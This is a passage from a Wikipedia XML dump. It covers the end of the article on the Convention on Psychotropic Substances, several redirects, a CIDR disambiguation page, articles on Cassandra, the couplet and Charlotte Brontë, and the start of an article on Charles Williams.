:''For many countries the problem of ATS is relatively new, growing quickly and unlikely to go away. The geographical spread is widening. . . Abuse is increasingly concentrated among younger populations, who generally and erroneously believe that the substances are safe and benign. The abuse of ATS is threatening to become part of mainstream culture. The less optimistic suggest that ATS is already embedded in normative young adult behavior to such an extent that it will be very difficult to change, not withstanding the issues of physical, social and economic damage.
The Office called on nations to bring more resources to bear in the [[demand reduction]] effort, improving treatment and [[Drug rehabilitation|rehabilitation]] processes, increasing private sector participation in eliminating drugs from the workplace, and expanding the drug information clearing house to share information more effectively.

===Canadian noncompliance===
In 2000, the International Narcotics Control Board blasted [[Canada]] for refusing to comply with the Convention's requirement that international transactions in controlled psychotropics be reported to the Board. INCB Secretary Herbert Schaepe said{{ref|marijuananews}}:
:''From Canada there is just a big, black hole. We don't know what is going into the country, nor coming out. We cannot monitor the international movement of these substances, which is our mandate. The lack of controls in Canada means that they could be destined for fake companies that will divert them into the hands of traffickers. Traffickers in third countries could be getting them through Canada. Normally, Canada has a very good reputation for fulfilling its international obligations, but here it is just breaking the treaty – a treaty that it ratified a long time ago. It is very disturbing.''
To a Board already worried by European experiments with [[harm reduction]] and cannabis liberalization, the quiet Canadian defiance of treaty obligations seemed to be another hairline crack in the foundation of global drug control.

===Licit drug problems===
In an unusual departure from its normally pro-industry leanings, the INCB issued a press release in 2001 warning of excessive use of licit psychotropics:
:''. . . the Board points to loose regulation, unreliable estimates and information regarding medical needs, aggressive marketing techniques and improper or even unethical prescription practices as the main reasons for the oversupply of such controlled substances as [[benzodiazepine]]s and various amphetamine type stimulants. Easy availability leads to overconsumption of such substances, either in the form of drug abuse or by fuelling a culture of drug-taking to deal with a variety of non-medical problems. . . Insomnia, anxiety, obesity and child hyperactivity as well as various kinds of pain are listed among the most common problems to be treated by prescribing psychotropic substances. The Board is especially concerned that preference is given to quick solutions without looking at the long-term effects, as prolonged, excessive consumption of such drugs could result in dependency and other physical and mental suffering.''

The Board also warned that the [[Internet]] provides &quot;easy access to information on drug production and drug-taking,&quot; calling it &quot;a growing source of on-line drug trafficking.&quot; The Board pointed out that some Internet suppliers sell controlled drugs without regard to the Convention's [[medical prescription]] requirements{{ref|unhcr}}.

==References==
{{wikisourcepar|Convention on Psychotropic Substances}}
*Bewley-Taylor, David R. and Fazey, Cindy S. J.: The Mechanics and Dynamics of the UN System for International Drug Control, [[14 March]] [[2003]].&lt;!--Google-cached copy from Forward Thinking on Drugs--&gt;
*Lande, Adolf: Commentary on the Convention on Psychotropic Substances, 1976.
*Saunders, Nicholas: [http://www.ecstasy.org/books/e4x/e4x.ap.01/e4x.ap.01.194.html E is for Ecstasy], Appendix 1: Reference Section, ''Letter from myself in New Scientist'', [[18 December]] [[1993]].

==Endnotes==
# {{note|LSD-resolution}} [http://www.unodc.org/unodc/en/resolution_1968-05-23_6.html 1968/1294(XLIV). Urgent control measures for LSD and similar hallucinogenic substances], UN Economic and Social Council, [[May 23]] [[1968]].
# {{note|internationalcontrolresolution}} [http://www.unodc.org/unodc/en/resolution_1968-12-19_1.html 2433(XXIII). International control of psychotropic substances], UN General Assembly, [[19 December]] [[1968]].
# {{note|stimulantresolution}} [http://www.unodc.org/unodc/en/resolution_1969-06-05_4.html 1969/1401(XLVI). The application of urgent control measures to certain stimulant drugs], UN Economic and Social Council, [[June 5]] [[1969]].
# {{note|conference-resolution}} [http://www.unodc.org/unodc/en/resolution_1971-05-20_1.html 1971/1576(L). United Nations Conference for the Adoption of a Protocol on Psychotropic Substances], UN Economic and Social Council, [[May 20]] [[1971]].
# {{note|cansenrpt}} [http://www.parl.gc.ca/37/1/parlbus/commbus/senate/com-e/ille-e/rep-e/repfinalvol3-e.htm Cannabis: Our Position for a Canadian Public Policy], Report of the Senate Special Committee on Illegal Drugs, Canadian Senate, Sep. 2002.
# {{note|incb.org-substances}} [http://www.incb.org/pdf/e/list/green.pdf List of Psychotropic Substances Under International Control], International Narcotics Control Board.
# {{note|unodc.org-1982}} [http://www.unodc.org/unodc/en/bulletin/bulletin_1982-01-01_3_page002.html The ratification of the Convention on Psychotropic Substances 1971 and its transposition into national legislation in the Federal Republic of Germany], [[Bulletin on Narcotics]], 1982.
# {{note|unodc.org-1973}} [http://www.unodc.org/unodc/en/resolution_1973-05-18_3.html 1973/1773(LIV). 1971 Convention on Psychotropic Substances: ratifications and accessions], UN Economic and Social Council, [[May 18]] [[1973]].
# {{note|unodc.org-1975}} [http://www.unodc.org/unodc/en/resolution_1975-12-09_1.html 3443(XXX). 1971 Convention on Psychotropic Substances], UN General Assembly, [[9 December]] [[1975]].
# {{note|unodc.org-1979}} [http://www.unodc.org/unodc/en/resolution_1979-02-22_1.html CND Res.6(XXVIII). 1971 Convention on Psychotropic Substances], UN Commission on Narcotic Drugs, [[22 February]] [[1979]].
# {{note|unodc.org-1981}} [http://www.unodc.org/unodc/en/resolution_1981-05-06_1.html 1981/7. Implementation of the 1971 Convention on Psychotropic Substances], UN Economic and Social Council, [[May 6]] [[1981]].
# {{note|europarlreport}} [http://www.chanvre-info.ch/info/en/article602.html Working document on the UN conventions on drugs], Committee on Citizens’ Freedoms and Rights, Justice and Home Affairs, European Parliament, 2002.
# {{note|radicalparty.org}} Cappato, Marco and Perduca, Marco: [http://servizi.radicalparty.org/documents/index.php?func=detail&amp;par=213 Concept Paper for Campaign by the Transnational Radical Party and the International Antiprohibitionist League to Reform the UN Conventions on Drugs], [[9 October]] [[2002]].&lt;!--Or is it [[10 September]] [[2002]]? The date is listed as 09/10/2002, so it could be either the U.S. or European format.--&gt;
# {{note|bewleytaylor}} Bewley-Taylor, David R.: [http://www.tni.org/reports/drugs/debate5.htm Breaking the Impasse: Polarisation &amp; Paralysis in UN Drug Control], July 2002.
# {{note|incb.org-1961-14}} [[Wikisource:Single Convention on Narcotic Drugs|Single Convention on Narcotic Drugs]].
# {{note|parl.gc.ca-report}} See [[{{PAGENAME}}#endnote_cansenrpt|above note]]
# {{note|incb.org-1961-preamble}} See [[{{PAGENAME}}#endnote_incb.org-1961-14|above note]]
# {{note|europarlreport2}} See [[{{PAGENAME}}#endnote_europarlreport|above note]]
# {{note|unodc.org-report}} Bayer, I. and Ghodse, H.: [http://www.unodc.org/unodc/en/bulletin/bulletin_1999-01-01_1_page003.html Evolution of International Drug Control, 1945-1995], United Nations Office on Drugs and Crime, 1999.
# {{note|parl.gc.ca|report2}} See [[{{PAGENAME}}#endnote_cansenrpt|above note]]
# {{note|europarl.eu.int-report}} *[http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//NONSGML+REPORT+A5-2003-0085+0+DOC+PDF+V0//EN&amp;L=EN&amp;LEVEL=3&amp;NAV=S&amp;LSTDOC=Y Report Including a Proposal for a Recommendation of the European Parliament to the Council on the Reform of the Conventions on Drugs], Committee on Citizens' Freedoms and Rights, Justice and Home Affairs, European Parliament, [[24 March]] [[2003]]. ''HTML version: http://www.chanvre-info.ch/info/en/article602.html''.
# {{note|parl.gc.ca-adherence}} [http://www.unodc.org/unodc/en/treaty_adherence.html Monthly Status of Treaty Adherence], UN Office on Drugs and Crime, [[1 January]] [[2005]].
# {{note|unodc.org-report2}} [http://www.unodc.org/unodc/en/bulletin/bulletin_1970-01-01_3_page002.html The Protocol on Psychotropic Substances], Bulletin on Narcotics, 1970.
# {{note|who.int-tetrahydrocannabinol}} [http://www.who.int/medicines/library/qsm/who-edm-qsm-2000-5/thc.doc Delta-9-tetrahydrocannabinol and its stereochemical variants], World Health Organization.
# {{note|usdoj.gov-811}} [http://www.usdoj.gov/dea/pubs/csa/811.htm 21 U.S.C. § 811(d)(4)].
# {{note|hhs.gov-daterape}} [http://www.hhs.gov/asl/testify/t990311b.html Statement on &quot;Date Rape&quot; Drugs by Nicholas Reuter, M.P.H.], U.S. Department of Health and Human Services, [[11 March]] [[1999]].
# {{note|ddmi.he.net-ephedrine}} [http://ddmi.he.net/~herbs/current/ephcontrol.html DSSC says ephedrine should not be a controlled substance], Herb World News Online, 1998.
# {{note|unicri.it-ketamine}} [http://www.unicri.it/min.san.bollettino/altre/915-en.pdf Thirty-Third Report], WHO Expert Committee on Drug Dependence, 2003.&lt;!--Ketamine-related--&gt;
# {{note|erowid.org-ecstasy}} Saunders, Nicholas: [http://www.erowid.org/library/books_online/e_for_ecstasy/e_for_ecstasy-a1-1.shtml#R15 E For Ecstasy].
# {{note|lycaeum.org-FDA}} [http://paranoia.lycaeum.org/stimulants/59.FR.31639 International Drug Scheduling; Convention on Psychotropic Substances; Certain Stimulant/Hallucinogenic Drugs and Certain Nonbarbiturate Sedative Drugs], Food and Drug Administration, [[June 20]] [[1994]].
# {{note|unodc.org-report2-2}} Nahas, Gabriel G.: [http://www.unodc.org/unodc/en/bulletin/bulletin_1981-01-01_2_page002.html A pharmacological classification of drugs of abuse], Bulletin on Narcotics, 1981.
# {{note|nida.nih.gov-report}} [http://www.nida.nih.gov/DirReports/DirRep297/DirectorReport9.html Director's Report to the National Advisory Council on Drug Abuse], National Institute on Drug Abuse, Feb. 1997.
# {{note|statedept}} [http://www.state.gov/s/l/16353.htm Memorandum in Opposition to Plaintiffs’ Motion for Summary Judgment in O Centro Espirita Beneficiente Uniao do Vegetal v. Reno, filed in the U.S. District Court for the District of New Mexico], U.S. Department of State, [[January 25]] [[2001]].
# {{note|maps.org-pipermail}} Lande, Adolf, et al: [http://www.maps.org/pipermail/maps_forum/2001-March/003376.html Commentary on the Convention on Psychotropic Substances, New York 1976, E/CN.7/589, p.385]
# {{note|unodc.org-report2-3}} See [[{{PAGENAME}}#endnote_unodc.org-report2|above note]]
# {{note|erowid-cathinone}} [http://www.erowid.org/freedom/law/federal_register/58.FR.4316.shtml 21 CFR Part 1308], Schedules of Controlled Substances: Placement of Cathinone and 2,5-Dimethoxy-4-ethylamphetamine Into Schedule I, Drug Enforcement Administration, [[7 January]] [[1993]].
# {{note|unodc.org-1971}} [http://www.unodc.org/unodc/en/bulletin/bulletin_1971-01-01_3_page002.html The Convention on Psychotropic Substances], [[Bulletin on Narcotics]], United Nations Office on Drugs and Crime, 1971.&lt;!--This appears to be in the nature of a commentary. It sheds some light on the Convention's legislative history.--&gt;
# {{note|un.org-1999}} [http://www.un.org/documents/ecosoc/docs/1999/e1999-28.htm Report on the forty-second session], UN Commission on Narcotic Drugs, [[March 16]]-25, 1999.
# {{note|worlddrugreport}} [http://www.ias.org.uk/publications/theglobe/97issue3/globe9703_p11.html World drug threat, the UN reports], World Drug Report, 1997.
# {{note|un.org-amphet}} [http://www.un.org/ga/20special/featur/amphet.htm Amphetamine-Type Stimulants], UN General Assembly Special Session on the World Drug Problem, [[June 8]]-10, 1998.
# {{note|ecosocres}} [http://www.un.org/documents/ecosoc/res/1997/eres1997-41.htm 1997/41. Implementation of comprehensive measures to counter the illicit manufacture, trafficking and abuse of amphetamine-type stimulants and their precursors], UN Economic and Social Council, [[July 21]] [[1997]].
# {{note|unodc.un.or.th}} [http://www.unodc.un.or.th/factsheet/ATSissuesplans310102.htm Amphetamine Type Stimulants Threaten East Asia], United Nations Office on Drugs and Crime, [[4 February]] [[2002]].
# {{note|marijuananews}} Edwards, Steven: [http://www.marijuananews.com/news.php3?sid=126 UN Blasts Canada for Hypocrisy on Drug Trade], The National Post, [[23 February]] [[2000]].
# {{note|unhcr}} [http://www.unhchr.ch/huricane/huricane.nsf/0/61158D4A9269068EC12569F5002BFAE4?opendocument United Nations press release], [[15 February]] [[2001]].

[[Category:Drug control treaties]]
[[Category:Psychedelics, dissociatives and deliriants]]
{{featured article}}

[[fr:Convention sur les substances psychotropes de 1971]]</text>
    </revision>
  </page>
  <page>
    <title>Chief Executive Officer</title>
    <id>6522</id>
    <revision>
      <id>15904657</id>
      <timestamp>2003-05-06T04:24:19Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <comment>#REDIRECT [[chief executive officer]]</comment>
      <text xml:space="preserve">#REDIRECT [[chief executive officer]]</text>
    </revision>
  </page>
  <page>
    <title>CIDR</title>
    <id>6523</id>
    <revision>
      <id>35927924</id>
      <timestamp>2006-01-20T07:44:59Z</timestamp>
      <contributor>
        <username>Botryoidal</username>
        <id>814230</id>
      </contributor>
      <minor />
      <comment>Robot: Automated text replacement  (-{{4LA}} +{{4LC}})</comment>
      <text xml:space="preserve">'''CIDR''' may refer to:

* [[Classless Inter-Domain Routing]], a way of interpreting [[IP address]]es
* [[CIDR-FM|CIDR]], an [[FM radio]] station in [[Windsor, Ontario]]
* CIDR (Controlled Internal Drug Release) an intravaginal drug delivery system used to control the oestrus cycle in cattle, sheep and goats.
{{4LC}}</text>
    </revision>
  </page>
  <page>
    <title>Clam Dip</title>
    <id>6524</id>
    <revision>
      <id>15904659</id>
      <timestamp>2002-05-21T17:17:54Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[clam dip]]</comment>
      <text xml:space="preserve">#redirect [[clam dip]]</text>
    </revision>
  </page>
  <page>
    <title>Condorcets Method</title>
    <id>6525</id>
    <revision>
      <id>15904660</id>
      <timestamp>2003-07-25T12:40:16Z</timestamp>
      <contributor>
        <username>Dissident</username>
        <id>42935</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Condorcet method]]</text>
    </revision>
  </page>
  <page>
    <title>Cassandra</title>
    <id>6526</id>
    <revision>
      <id>41521249</id>
      <timestamp>2006-02-27T22:40:44Z</timestamp>
      <contributor>
        <username>Pgk</username>
        <id>460581</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.252.167.160|64.252.167.160]] ([[User talk:64.252.167.160|talk]]) to last version by DanielCD</comment>
      <text xml:space="preserve">{{alternateuses}}

[[Image:Cassandra1.jpg|thumb|200px|Painting by [[Evelyn De Morgan]].]]
In [[Greek mythology]], '''Cassandra''' (&quot;she who entangles men&quot;) (also known as '''Alexandra''') was a daughter of King [[Priam]] of [[Troy]] and his queen [[Hecuba]], who captured the eye of [[Apollo (god)|Apollo]] and was granted the ability to see the future. However, when she did not return his love, Apollo placed a curse on her so that no one would ever believe her predictions.

==History==
In an alternative version, she spent a night at Apollo's temple with her twin brother, at which time the temple snakes licked her ears clean so that she was able to see the future. This is a recurring theme in Greek mythology, though sometimes it brings an ability to understand the language of animals rather than an ability to know the future. 

Apollo loved Cassandra, and when she did not return his love, he cursed her so that her former gift would become a source of endless pain and frustration. In some versions of the myth, this is symbolised by the god spitting into her mouth; in other Greek myths, this act was sufficient to remove the gift so recently given by Apollo, but Cassandra's case varies.  From the play ''Agamemnon'', it appears that she made a promise to Apollo to become his consort, but broke it, thus incurring his wrath.  

When Cassandra foresees the destruction of Troy (she warns the Trojans about the [[Trojan Horse]], the death of [[Agamemnon]], and her own demise), she is unable to do anything to forestall these events.  Her family believes she is mad, and, according to some versions, kept her locked up because of this. From her appearances in various plays, it seems that the incarceration drove her truly mad, at least by the time of Troy's destruction. 

[[Coroebus]] and [[Othronus]] came to the aid of Troy out of love for Cassandra.  Cassandra was also the first to see the body of her brother [[Hector]] being brought back to the city.

After the [[Trojan War]], she sought shelter in the temple of [[Athena]], where she was raped by [[Ajax the lesser]].  Cassandra is then taken as a concubine and [[sexual slavery|sex slave]] by King [[Agamemnon]] of [[Mycenae]]. Unbeknownst to Agamemnon, while he was away at war, his wife, [[Clytemnestra]], had begun an affair with [[Aegisthus]].  Upon Agamemnon and Cassandra's arrival in Mycenae, Clytemnestra asks her husband to walk across a purple carpet.  He initially refuses, but gives in and enters, ignoring Cassandra's warnings.  Clytemnestra and Aegisthus then murder both Agamemnon and Cassandra. Some sources mention that Cassandra and Agamemnon have twin boys [[Teledamus]] and Pelops, both of whom are killed by Aegisthus.

[[Homer]]. ''[[Iliad]]'' XXIV, 697-706; [[Homer]]. ''[[Odyssey]]'' XI, 405-434; [[Aeschylus]]. ''[[Agamemnon]]''; ''[[Euripides]]''. ''[[Trojan Women]]''; ''[[Euripides]]''. ''[[Electra]]''; [[Apollodorus]]. ''[[Bibliotheke]]'' III, xii, 5; [[Apollodorus]]. ''[[Epitome]]'' V, 17-22; VI, 23; [[Virgil]]. ''[[Aeneid]]'' II, 246-

==Jonah==
In the Bible, the Prophet [[Jonah]] is the exact reverse of Cassandra: His prophecy is believed by everyone, but does not come true because the Ninevites repented, and thus God chose not to implement the judgement that the prophecy was about, as Jonah had feared.

==Modern adaptations==
A modern psychological perspective on Cassandra is presented by [[Eric Shanower]] in ''Age of Bronze: Sacrifice''. In this version, Cassandra, as a child, is [[Child molestation|molested]] by a man pretending to be a god. His warning &quot;No one will believe you!&quot; is one often spoken by abusers to their child victims. 

A similar situation occurred in Lindsay Clarke's novel ''The Return from Troy'' (presented as a reawakened memory), where a priest of Apollo forced himself upon Cassandra and was stopped only when she spat in his mouth. When the priest used his benevolent reputation to convince Priam that he was innocent of her wild claims, Cassandra subsequently went insane.

==Modern usage==
In more modern literature, Cassandra has often served as a model for [[tragedy]] and [[Romance]], and has given rise to the archetypical character of someone whose prophetic insight is obscured by insanity, turning their revelations into riddles or disjointed statements that are not fully comprehended until after the fact. One notable example is the character of [[River Tam]] from the science fiction series ''Firefly''.

The word Cassandra has become widely used.  In modern usage, however, a &quot;Cassandra&quot; tends to describe someone who makes false predictions which are believed.

The [[Cassandra Syndrome]] is used to describe someone who believes that he or she can see the future but cannot do anything about it.  Fictional character Dr. Kathryn Railly explores this syndrome and those who suffer from it in '[[Twelve Monkeys]]''.

==Further reading==
{{Commons|Cassandra}}
* Shanower, Eric. ''Age Of Bronze Volume 2: Sacrifice.'' Image Comics (2005). ISBN 1582403996.
* Clarke, Lindsay. ''The Return from Troy.'' HarperCollins (2005). ISBN 000715027X.

Fiction: Marion Zimmer Bradley's ''The Firebrand'' ISBN: 0451459245 

[[Category:Trojans]]
[[Category:People who fought in the Trojan War]]
[[Category:Greek mythological people]]

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[[lt:Kasandra]]
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[[zh:卡珊德拉]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian cities</title>
    <id>6528</id>
    <revision>
      <id>15904663</id>
      <timestamp>2002-12-26T20:32:25Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[List_of_cities_in_Canada]]</comment>
      <text xml:space="preserve">#REDIRECT [[List_of_cities_in_Canada]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian provinces and territories</title>
    <id>6529</id>
    <revision>
      <id>15904664</id>
      <timestamp>2004-07-31T04:50:38Z</timestamp>
      <contributor>
        <username>The Tom</username>
        <id>12499</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Provinces and territories of Canada]]</text>
    </revision>
  </page>
  <page>
    <title>Couplet</title>
    <id>6530</id>
    <revision>
      <id>40817695</id>
      <timestamp>2006-02-23T05:12:40Z</timestamp>
      <contributor>
        <ip>209.90.162.63</ip>
      </contributor>
      <comment>fr</comment>
      <text xml:space="preserve">A '''couplet''' is a pair of lines of [[verse]] that form a unit.  Most '''couplets''' [[rhyme]] ''aa'', but this is not a requirement.

Poetry in rhyming couplets is one of the simplest [[rhyme scheme]]s:

 ''aa bb cc dd ee ff''... etc.

'''Example (J. Kilmer - Trees):'''

    I THINK that I shall never see    ''a''
    A poem as lovely as a tree.       ''a''


    A tree whose hungry mouth is prest        ''b''
    Against the sweet earth's flowing breast; ''b''   

This scheme was used in [[Chaucer]]'s [[The Canterbury Tales]] in the [[14th century]] and became popular again in the [[eighteenth century]] with poets such as [[Dryden]] and [[Alexander Pope]]. [[Kural]]s, which form a subclass of the [[Venpa]] class of [[Tamil language | Tamil]] poetry, are couplets. [[Tirukkural]] is a popular book written in [[Kural | Kural Venpa]] form. Couplets with a meter of [[iambic pentameter]] are called ''heroic couplets''.

Couplets can also play a role in more complex rhyme schemes. For example, Shakespearean [[sonnet]]s end with a couplet.

As examples of couplets are the [http://www.gallup.unm.edu/~smarandache/dis-prd.htm paradoxist distich], the [http://www.gallup.unm.edu/~smarandache/dis-taut.htm tautological distich] and the [http://www.gallup.unm.edu/~smarandache/dis-dual.htm dualistic distich].

[[Category:Poetic form]]

[[fr:Couplet]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese Cuisine</title>
    <id>6531</id>
    <revision>
      <id>15904666</id>
      <timestamp>2005-06-26T20:54:37Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>updated to avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Charlotte Brontë</title>
    <id>6532</id>
    <revision>
      <id>41610593</id>
      <timestamp>2006-02-28T14:19:43Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/142.227.13.1|142.227.13.1]] ([[User talk:142.227.13.1|talk]]) to last version by Ceyockey</comment>
      <text xml:space="preserve">[[Image:CBRichmond.jpg|thumb|right|Charlotte Brontë by George Richmond, 1850]]
'''Charlotte Brontë''' {{IPA|/b&amp;#633;&amp;#593;nti/}} ([[April 21]], [[1816]] &amp;ndash; [[March 31]], [[1855]]) was an [[England|English]] [[novelist]], the eldest of the trio of [[Brontë]] sisters whose [[novel]]s have become enduring classics of [[English literature]].

Brontë was born at [[Thornton, Bradford|Thornton]], in [[Yorkshire]], [[England]], the third of six children, to [[Patrick Brontë]], an [[Ireland|Irish]] clergyman, and his wife, Maria Branwell. In April [[1820]] the [[Brontë|family]] moved to [[Haworth]], where Patrick had been appointed Perpetual Curate. Maria Branwell Brontë died of cancer on [[15 September]] [[1821]], leaving her five daughters and a son to the care of her sister Elizabeth Branwell. In August [[1824]], Charlotte was sent with three of her sisters to the Clergy Daughters' School at Cowan Bridge in Lancashire, (which she would describe as Lowood School in ''Jane Eyre'').  Its poor conditions, Charlotte maintained, permanently affected her health and physical development, and hastened the deaths of her two elder sisters, Maria (born 1814) and Elizabeth (born 1815), who died of [[tuberculosis]] in [[1825]] soon after they were removed from the school.

At home in Haworth Parsonage the surviving children, [[Branwell Brontë|Branwell]], [[Emily Brontë|Emily]], and [[Anne Brontë|Anne]], influenced by their father's library of [[Walter Scott]], [[George Gordon Byron, 6th Baron Byron|Byron]], ''Tales of the Genii'' and ''[[The Arabian Nights]]'' began chronicling the lives and struggles of the inhabitants of their imaginary kingdoms. Charlotte and Branwell wrote stories about their country, Angria, and Emily and Anne wrote articles and poems about theirs, Gondal. The sagas were elaborate and convoluted (and still exist in part manuscripts) and provided them with an obsessive interest in childhood and early adolescence, which prepared them for their literary vocations in adulthood.

Charlotte continued her education at Roe Head school in [[Mirfield]] from [[1831]] to [[1832]], where she returned as a teacher from [[1835]] to [[1838]]. In [[1839]] she took up the first of many positions as governess to various families in Yorkshire, a career she pursued until [[1841]]. In [[1842]] she and Emily travelled to [[Brussels]] to enroll in a pensionnat run by Constantin Heger (1809 - 1896) and his wife Claire Zoë Parent Heger (1804 - 1890). In return for board and tuition, Charlotte taught English and Emily taught music. Their time at the pensionnat was cut short when Elizabeth Branwell, their aunt who joined the family after the death of their mother to look after the children, died of internal obstruction in October [[1842]]. Charlotte returned alone to Brussels in January [[1843]] to take up a teaching post at the pensionnat. Her second stay at the pensionnat was not a happy one; she became lonely, homesick, and deeply attached to Constantin Heger. She finally returned to Haworth in January [[1844]] and later used her time at the pensionnat as the inspiration for some of ''[[The Professor (novel)|The Professor]]'' and ''[[Villette (novel)|Villette]]''.

In May [[1846]], Charlotte, Emily, and Anne published a joint collection of poetry under the assumed names of Currer, Ellis, and Acton Bell. Although the book failed to attract interest (only two copies were sold) the sisters decided to continue writing for publication and began work on their first novels. Charlotte continued to use the name 'Currer Bell' when she published her first two novels.
[[Image:Janeeyrepenguin.jpg|right|150px]]
Her [[novel]]s are:
*''[[Jane Eyre]]'', published [[1847]]
*''[[Shirley (novel)|Shirley]]'', published [[1849]]
*''[[Villette (novel)|Villette]]'', published [[1853]]
*''[[The Professor (novel)|The Professor]]'', written before ''Jane Eyre'' and rejected by many publishing houses, was published posthumously in [[1857]]

Her novels were deemed coarse by the critics. Much speculation took place as to who Currer Bell really was, and whether Bell was a man or a woman. 

Charlotte's brother, Branwell, the only son of the family, died of chronic [[bronchitis]] and [[marasmus]] exacerbated by heavy drinking, in September [[1848]], although Charlotte believed his death was due to tuberculosis. Emily and Anne both died of pulmonary tuberculosis in December [[1848]] and May [[1849]], respectively. 

Charlotte and her father were now left alone.  In view of the enormous success of ''Jane Eyre,'' she was persuaded by her publisher to occasionally visit [[London]], where she revealed her true identity and began to move in a more exalted social circle, becoming friends with [[Harriet Martineau]], [[Elizabeth Gaskell]], [[William Makepeace Thackeray]] and [[G. H. Lewes]]; however, she never left Haworth for more than a few weeks at a time as she did not like to leave her aging father's side.

In June [[1854]], Charlotte married Arthur Bell Nicholls, her father's [[curate]] but died nine months later during her first [[human pregnancy|pregnancy]]. Her death certificate gives the cause of death as [[phthisis]] (tuberculosis), but there is a school of thought that suggests she may have died from her excessive vomiting caused by severe [[morning sickness]] in the early stages of pregnancy. There is also evidence that Charlotte died from [[typhus]] she may have caught from Tabitha Ackroyd, the Bronte household's oldest servant, who died shortly before her. Charlotte was interred in the family vault in The Church of St. Michael and All Angels, [[Haworth]], [[West Yorkshire]], [[England]].

==References==
* {{A Short Biographical Dictionary of English Literature}}

==Further Reading==

* ''The Letters of Charlotte Brontë'', 3 volumes edited by Margaret Smith
* ''The Life of Charlotte Brontë'', Elizabeth Gaskell
* ''Charlotte Brontë'', Winifred Gerin
* ''Charlotte Brontë: a passionate life'', Lyndal Gordon
* ''Charlotte Brontë: Unquiet Soul'', Margot Peters
* ''In the Footsteps of the Brontës'', Ellis Chadwick
* ''Charlotte Brontë'', Rebecca Fraser
* ''The Brontës'', Juliet Barker
* ''Charlotte Brontë and her Dearest Nell'', Barbara Whitehead
* ''The Brontë Myth'', Lucasta Miller
* ''A Life in Letters'', selected by Juliet Barker
* ''Charlotte Brontë and her Family'', Rebecca Fraser
* ''The Oxford Reader's Companion to the Brontës'', Christine Alexander &amp; Margaret Smith
* ''A Brontë Family Chronology'', Edward Chitham

==External links==
{{Wikisource author}}
* [http://etext.library.adelaide.edu.au/aut/bronte_charlotte.html Online editions of Charlotte Brontë's works]
*{{gutenberg author | id=Charlotte_Brontë | name=Charlotte Brontë}}
*[http://bronteblog.blogspot.com News and information about the Brontës using a blog format.]
*[http://www.npg.org.uk/live/search/portrait.asp?LinkID=mp03781&amp;rNo=20&amp;role=art Charlotte Brontë - Drawing by George Richmond (National Portrait Gallery)]
*[http://groups.yahoo.com/group/BronteSistersLinks/ Bronte Sisters Links: the biggest collection of links regarding the Bronte Sisters]
*[http://bronteana.blogspot.com Brontëana: Brontë Studies Weblog]

[[Category:1816 births|Bronte, Charlotte]]
[[Category:1855 deaths|Bronte, Charlotte]]
[[Category:English poets|Bronte, Charlotte]]
[[Category:English novelists|Brontë, Charlotte]]
[[Category:Brontë family]]
[[Category:Natives of Yorkshire|Brontë, Charlotte]]
[[Category:Women of the Victorian era|Brontë, Charlotte]]
[[Category:Women poets|Brontë, Charlotte]]
[[Category:Women writers|Brontë, Charlotte]]

[[cy:Charlotte Brontë]]
[[da:Charlotte Brontë]]
[[de:Charlotte Brontë]]
[[es:Charlotte Brontë]]
[[eo:Charlotte BRONTË]]
[[fr:Charlotte Brontë]]
[[he:שרלוט ברונטה]]
[[it:Charlotte Brontë]]
[[nl:Charlotte Brontë]]
[[ja:シャーロット・ブロンテ]]
[[no:Charlotte Brontë]]
[[pl:Charlotte Brontë]]
[[simple:Charlotte Bronte]]
[[sk:Charlotte Brontëová]]
[[fi:Charlotte Brontë]]
[[sv:Charlotte Brontë]]
[[zh:夏洛特·勃朗特]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Williams</title>
    <id>6533</id>
    <revision>
      <id>41747582</id>
      <timestamp>2006-03-01T13:24:52Z</timestamp>
      <contributor>
        <ip>140.106.192.35</ip>
      </contributor>
      <text xml:space="preserve">:{{otheruses}}
----
[[Image:Charleswalterstansbywilliams.gif|right|frame|]]

'''Charles Walter Stansby Williams''' ([[September 20]], [[1886]] &amp;ndash; [[May 15]], [[1945]]), educated at [[St Albans School]], [[Hertfordshire]] and [[University College, London]].  Williams had one sister, Edith, born in 1889.  Although he was awarded a scholarship, Williams was forced to leave University College in 1904 without taking a degree because his family lacked the financial resources to support him.  In the same year he began work in a [[Methodist]] Bookroom.  Williams was hired by [[Oxford University Press]] as a proofreading assistant in [[1908]] and continued to work there in various positions of increasing responsibility until his death in 1945.  One of his greatest editorial achievements was the publication of the first major English-language edition of the works of [[Søren Kierkegaard]].

Although chiefly remembered as a novelist, Williams also published works of literary criticism, theology, drama, history, biography, and a voluminous number of book reviews.  Some of his best known novels are ''War in Heaven'' (1930), ''Descent into Hell'' (1937), and ''All Hallows' Eve'' (1945).  [[T.S. Eliot]], who wrote an introduction for the last of these, described Williams's novels as &quot;supernatural thrillers&quot; because they explore the sacramental intersection of the physical with the spiritual while also examining the ways in which power, even spiritual power, can corrupt as well as sanctify.  All of Williams's fantasies, unlike those of his fellow Inklings [[C.S. Lewis]] and [[J.R.R. Tolkien]], are set in the contemporary world.  More recent writers of fantasy novels with contemporary settings, notably [[Tim Powers]], cite Williams as a model and inspiration.  [[W.H. Auden]], one of Williams's greatest admirers, reportedly re-read Williams's extraordinary and highly unconventional history of the church, ''Descent of the Dove,'' (1939) every year.  Williams's study of Dante entitled ''The Figure of Beatrice'' (1944) was very highly regarded at its time of publication and continues to be consulted by [[Dante]] scholars today.  Williams, however, regarded his most important work to be his extremely dense and complex [[King Arthur|Arthurian]] poetry in two books, ''[[Taliesin|Taliessin]] through Logres'' (1938) and ''The Region 